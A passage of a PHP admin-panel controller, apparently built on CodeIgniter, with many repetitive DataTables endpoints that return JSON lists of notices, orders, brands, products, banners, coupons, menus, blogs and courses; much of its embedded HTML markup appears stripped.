'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // flash image public function flash_image_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_flash_image_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_flash_image_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = flash_image_list_search($limit, $start, $search, $order, $dir); $totalFiltered = flash_image_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if ($post->image != '') { $image = '
'; }else{ $slider_image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRIPTION'] = $post->description; // $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } // notice board public function notice_board_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_notice_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_notice_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = notice_list_search($limit, $start, $search, $order, $dir); $totalFiltered = notice_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->status == 1){ $checked = 'checked'; }else{ $checked = 'unchecked'; } if (@$post->image != '') { $image = '
'; }else{ $image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = @$image; $nestedData['TITLE'] = $post->title; $nestedData['DESCRITPION'] = $post->description; $nestedData['DATE'] = $post->date; $nestedData['STATUS'] ='' ; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function all_page_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', 5 => 'MEASUREMENT_NAME', 6 => 'MEASUREMENT_NAME', 7 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; $totalData = count_all_page_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_page_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = page_list_search($limit, $start, $search, $order, $dir); $totalFiltered = page_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $post->id; $nestedData['IMAGE'] = $post->title; $nestedData['TITLE'] = $post->description; $nestedData['URL'] = ''.$_SERVER['SERVER_NAME'].'/page-name/'.$post->id.''; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*---------------------------------- start pankaj ----------------------------------------------*/ public function get_category() { $response = get_category_by_brand($_POST['brandid']); json_output(200, $response); } public function get_sub_category() { $response = get_sub_category($_POST['catid']); json_output(200, $response); } public function new_order_list() { $columns = array( 0 => 'SR_NO', 1 => 'SAMPLE_ID', 2 => 'SAMPLE_ID', 3 => 'SAMPLE_ID', 4 => 'SAMPLE_ID', 5 => 'SAMPLE_ID', 6 => 'SAMPLE_ID', 7 => 'SAMPLE_ID', 8 => 'SAMPLE_ID', 9 => 'SAMPLE_ID', 10 => 'SAMPLE_ID', 11 => 'SAMPLE_ID', 12 => 'SAMPLE_ID', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = 0; $totalData = count_all_new_order_history($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_new_order_history($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = purchase_new_order_history_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = purchase_new_order_history_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['ORDER_NO'] = '100'; $nestedData['NAME'] = $post->name; $nestedData['BRAND'] = $post->brand_name; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY'] = $post->SUB_CAT_NAME; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['ORDER'] = $post->QTY; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function brand_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_brand_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_brand_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = brand_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = brand_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->brand_name; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function category_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_category_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_category_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = category_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = category_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->brand_name; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function sub_category_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_sub_category_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_sub_category_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = sub_category_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = sub_category_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->brand_name; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY_NAME'] = $post->SUB_CAT_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function product_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', 5 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_product_type($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_product_type($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = product_type_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = product_type_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->brand_name; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY_NAME'] = $post->SUB_CAT_NAME; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function delivered_order_list() { $columns = array( 0 => 'SR_NO', 1 => 'SAMPLE_ID', 2 => 'SAMPLE_ID', 3 => 'SAMPLE_ID', 4 => 'SAMPLE_ID', 5 => 'SAMPLE_ID', 6 => 'SAMPLE_ID', 7 => 'SAMPLE_ID', 8 => 'SAMPLE_ID', 9 => 'SAMPLE_ID', 10 => 'SAMPLE_ID', 11 => 'SAMPLE_ID', 12 => 'SAMPLE_ID', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = 1; $totalData = count_all_new_order_history($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_new_order_history($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = purchase_new_order_history_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = purchase_new_order_history_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['ORDER_NO'] = '100'; $nestedData['NAME'] = $post->name; $nestedData['BRAND'] = $post->brand_name; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY'] = $post->SUB_CAT_NAME; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['ORDER'] = $post->QTY; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function pending_order_list() { $columns = array( 0 => 'SR_NO', 1 => 'SAMPLE_ID', 2 => 'SAMPLE_ID', 3 => 'SAMPLE_ID', 4 => 'SAMPLE_ID', 5 => 'SAMPLE_ID', 6 => 'SAMPLE_ID', 7 => 'SAMPLE_ID', 8 => 'SAMPLE_ID', 9 => 'SAMPLE_ID', 10 => 'SAMPLE_ID', 11 => 'SAMPLE_ID', 12 => 'SAMPLE_ID', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = 0; $totalData = count_all_new_order_history($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_new_order_history($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = purchase_new_order_history_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = purchase_new_order_history_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['ORDER_NO'] = '100'; $nestedData['NAME'] = $post->name; $nestedData['BRAND'] = $post->brand_name; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY'] = $post->SUB_CAT_NAME; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['ORDER'] = $post->QTY; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function cancelled_order_list() { $columns = array( 0 => 'SR_NO', 1 => 'SAMPLE_ID', 2 => 'SAMPLE_ID', 3 => 'SAMPLE_ID', 4 => 'SAMPLE_ID', 5 => 'SAMPLE_ID', 6 => 'SAMPLE_ID', 7 => 'SAMPLE_ID', 8 => 'SAMPLE_ID', 9 => 'SAMPLE_ID', 10 => 'SAMPLE_ID', 11 => 'SAMPLE_ID', 12 => 'SAMPLE_ID', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = 3; $totalData = count_all_new_order_history($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_new_order_history($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = purchase_new_order_history_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = purchase_new_order_history_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['ORDER_NO'] = '100'; $nestedData['NAME'] = $post->name; $nestedData['BRAND'] = $post->brand_name; $nestedData['CATEGORY'] = $post->CATEGORY_NAME; $nestedData['SUB_CATEGORY'] = $post->SUB_CAT_NAME; $nestedData['PRODUCT_NAME'] = $post->PRODUCT_NAME; $nestedData['ORDER'] = $post->QTY; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function list_banners() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '0'; $totalData = count_all_banners($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_banners($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = banners_type_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = banners_type_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->IMAGE_URL != '') { $image = '
'; }else{ $image = '
'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $image; $nestedData['TITLE'] = $post->IMAGE_TITLE; $nestedData['ACTION'] = 'PROMOTION_ID.'" bannerid="'.$post->PROMOTION_ID.'" " href="javascript:void(0);"> Delete'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function list_coupans() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', 4 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = '0'; $totalData = count_all_coupans_list($status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_coupans_list($limit, $start, $order, $dir,$status); } else { $search = $this->input->post('search')['value']; $posts = coupans_list_type_search($limit, $start, $search, $order, $dir,$status); $totalFiltered = coupans_list_type_search_count($search,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $post->COUPAN_TITLE; $nestedData['TITLE'] = $post->COUPAN_DISCOUNT; $nestedData['VALID_UO_TO'] = $post->COUPAN_VALID_DATE; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------------- end pankaj ------------------------------------------------------*/ /*----------------- NEWS LETTER LIST -----------------------------------------------------*/ public function marquee_list() { $columns = array( 0 => 'SR_NO', 1 => 'MEASUREMENT_NAME', 2 => 'MEASUREMENT_NAME', 3 => 'MEASUREMENT_NAME', 4 => 'MEASUREMENT_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; // $status = $_POST['status']; // $agentid = 2; $totalData = count_all_news_letter_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_news_letter_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = news_letter_list_search($limit, $start, $search, $order, $dir); $totalFiltered = news_letter_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['MARQUEE_TITLE'] = $post->NEWS_TITLE; $nestedData['MARQUEE_DESC'] = $post->NEWS_DESC; $nestedData['ACTION'] = '
'; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*--------------- end of NEWS LETTER LIST ----------------------------------------------*/ /*--------------------- start fixed menu list -----------------------------------------*/ public function fixed_menu_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_fixed_menu($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_fixed_menu($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = fixed_menu_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = fixed_menu_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->FM_STATUS == 1){ $check = 'checked'; }else{ $check = ''; } $nestedData['SR_NO'] = $i; $nestedData['MENU_NAME'] = $post->FM_NAME; $nestedData['ACTION'] = ' '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end fixed menu list ---------------------------------------*/ /*--------------------- start FRONT SETTING -----------------------------------------*/ public function front_setting_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', 3 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_front_setting_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_front_setting_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = front_setting_list_search($limit, $start, $search, $order, $dir); $totalFiltered = front_setting_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->FB_SHOW_HIDE == 1){ $check = ''; }else{ $check = 'checked'; } $nestedData['SR_NO'] = $i; $nestedData['FB_NAME'] = $post->FB_NAME; $nestedData['FB_ORDER'] = ''; $nestedData['FB_SHOW_HIDE'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end FRONT SETTING list ---------------------------------------*/ /*--------------------- start menu list -----------------------------------------*/ public function menu_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_menu_list($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_menu_list($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = menu_list_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = menu_list_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->MENU_STATUS == 0){ $check = 'checked'; }else{ $check = ''; } // $menu_status = $this->db->query("SELECT * FROM `link_page` WHERE `menu` = '" . $post->id . "' AND `submenu` = 0 AND `subsubmenu` = 0")->row(); $count_menu = $this->db->get_where('front_cms_menu_items',['parent_id'=>$post->id])->num_rows(); if($count_menu > 0) { $status = ''; $page_type = ''; }else{ if($post->PAGE_TYPE == 0){ /* $status = ' Update Content '; */ }else{ } $status = ''; if($post->PAGE_TYPE == 1){ $page_type = ''; $status = ' Update Content '; }else if($post->PAGE_TYPE == 2){ $page_type = ''; $status = ' Update Content '; }else if($post->PAGE_TYPE == 3){ $page_type = ''; $status = ' Update Content '; }else{ $page_type = ''; } } $nestedData['SR_NO'] = $i; $nestedData['MENU_NAME'] = ''; $nestedData['MENU_ORDER'] = ''; $nestedData['MENU_SHOW_HIDE'] = ''; $nestedData['PAGE_TYPE'] = $page_type; $nestedData['ACTION'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function sub_menu_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_sub_menu_list($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_sub_menu_list($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = sub_menu_list_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = sub_menu_list_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->MENU_STATUS == 1){ $check = 'checked'; }else{ $check = ''; } $menu_status = $this->db->query("SELECT * FROM `link_page` WHERE `menu` = '" . $post->menu . "' AND `submenu` = '" . $post->id . "' AND `subsubmenu` = 0")->row(); if($menu_status->has_url!= 0){ $status = ''; }else{ $status = ''; } $nestedData['SR_NO'] = $i; $nestedData['MENU_NAME'] = ''; $nestedData['MENU_ORDER'] = ''; $nestedData['MENU_SHOW_HIDE'] = ''; $nestedData['ACTION'] = $status; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function sub_sub_menu_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_sub_sub_menu_list($company_id,$status); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_sub_sub_menu_list($limit, $start, $order, $dir,$company_id,$status); } else { $search = $this->input->post('search')['value']; $posts = sub_sub_menu_list_search($limit, $start, $search, $order, $dir,$company_id,$status); $totalFiltered = sub_sub_menu_list_search_count($search,$company_id,$status); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if($post->MENU_STATUS == 1){ $check = 'checked'; }else{ $check = ''; } $nestedData['SR_NO'] = $i; $nestedData['MENU_NAME'] = ''; $nestedData['MENU_ORDER'] = ''; $nestedData['MENU_SHOW_HIDE'] = ''; $nestedData['ACTION'] = ''; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } /*------------------- end menu list ---------------------------------------*/ public function list_blog() { $columns = array( 0 => 'SR_NO', 1 => 'BLOG_TITLE', 2 => 'BLOG_TITLE', 3 => 'BLOG_TITLE', 4 => 'BLOG_TITLE', 5 => 'BLOG_TITLE', 6 => 'BLOG_TITLE', 7 => 'BLOG_TITLE', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; //$status = $_POST['status']; $page_name = $_POST['page_name']; $totalData = count_all_blog($page_name); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_blog($limit, $start, $order, $dir,$page_name); } else { $search = $this->input->post('search')['value']; $posts = blog_search($limit, $start, $search, $order, $dir,$page_name); $totalFiltered = blog_search_count($search,$page_name); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { if ($post->BLOG_STATUS != '1') { $status = 'Pending'; }else{ $status = 'Published'; } if ($post->BLOG_IMAGE != '') { $blog_image = '
'; }else{ $blog_image = '
'; } if($post->BLOG_STATUS != '1'){ $print_publish = '
  • Click To Publish
  • '; }else{ $print_publish = '
  • Click To Unpublish
  • '; } $nestedData['SR_NO'] = $i; $nestedData['BLOG_IMAGE'] = $blog_image; $nestedData['BLOG_TITLE'] = $post->BLOG_TITLE; $nestedData['BLOG_DESC'] = $post->BLOG_DESC; $nestedData['STATUS'] = $status; if ($page_name == '1') { $nestedData['ACTION'] = '
    '; }else if ($page_name == '2'){ $nestedData['ACTION'] = '
    '; }else{ $nestedData['ACTION'] = '
    '; } $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function course_list() { $columns = array( 0 => 'SR_NO', 1 => 'COURSE_CATEGORY', 2 => 'COURSE_CATEGORY', 3 => 'COURSE_CATEGORY', 4 => 'COURSE_CATEGORY', 5 => 'COURSE_CATEGORY', 6 => 'COURSE_CATEGORY', 7 => 'COURSE_CATEGORY', 8 => 'COURSE_CATEGORY', 9 => 'COURSE_CATEGORY', 10 => 'COURSE_CATEGORY', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $status = $_POST['status']; $page_name = 1; $totalData = count_all_course_list(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_course_list($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = course_list_search($limit, $start, $search, $order, $dir); $totalFiltered = course_list_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { // if ($post->BLOG_STATUS != '1') { // $status = 'Pending'; // }else{ // $status = 'Published'; // } if ($post->image != '') { $blog_image = '
    '; }else{ $blog_image = '
    '; } if(@$post->type==1){ $type='monthly'; $duration=@$post->duration.' - MONTHS'; }elseif(@$post->type==2){ $type='yearly'; $duration=@$post->years.' - YEARS'; } $nestedData['SR_NO'] = $i; $nestedData['IMAGE'] = $blog_image; $nestedData['COURSE_CATEGORY'] = $post->brand_name; $nestedData['COURSE_NAME'] = $post->course_name; $nestedData['COURSE_TYPE'] = $type; $nestedData['COURSE_DURATION'] = $duration; $nestedData['COURSE_CODE'] = $post->course_code; $nestedData['MIN_QUALIFICATION'] = $post->MIN_QUALIFICATION; $nestedData['ACTION'] = '
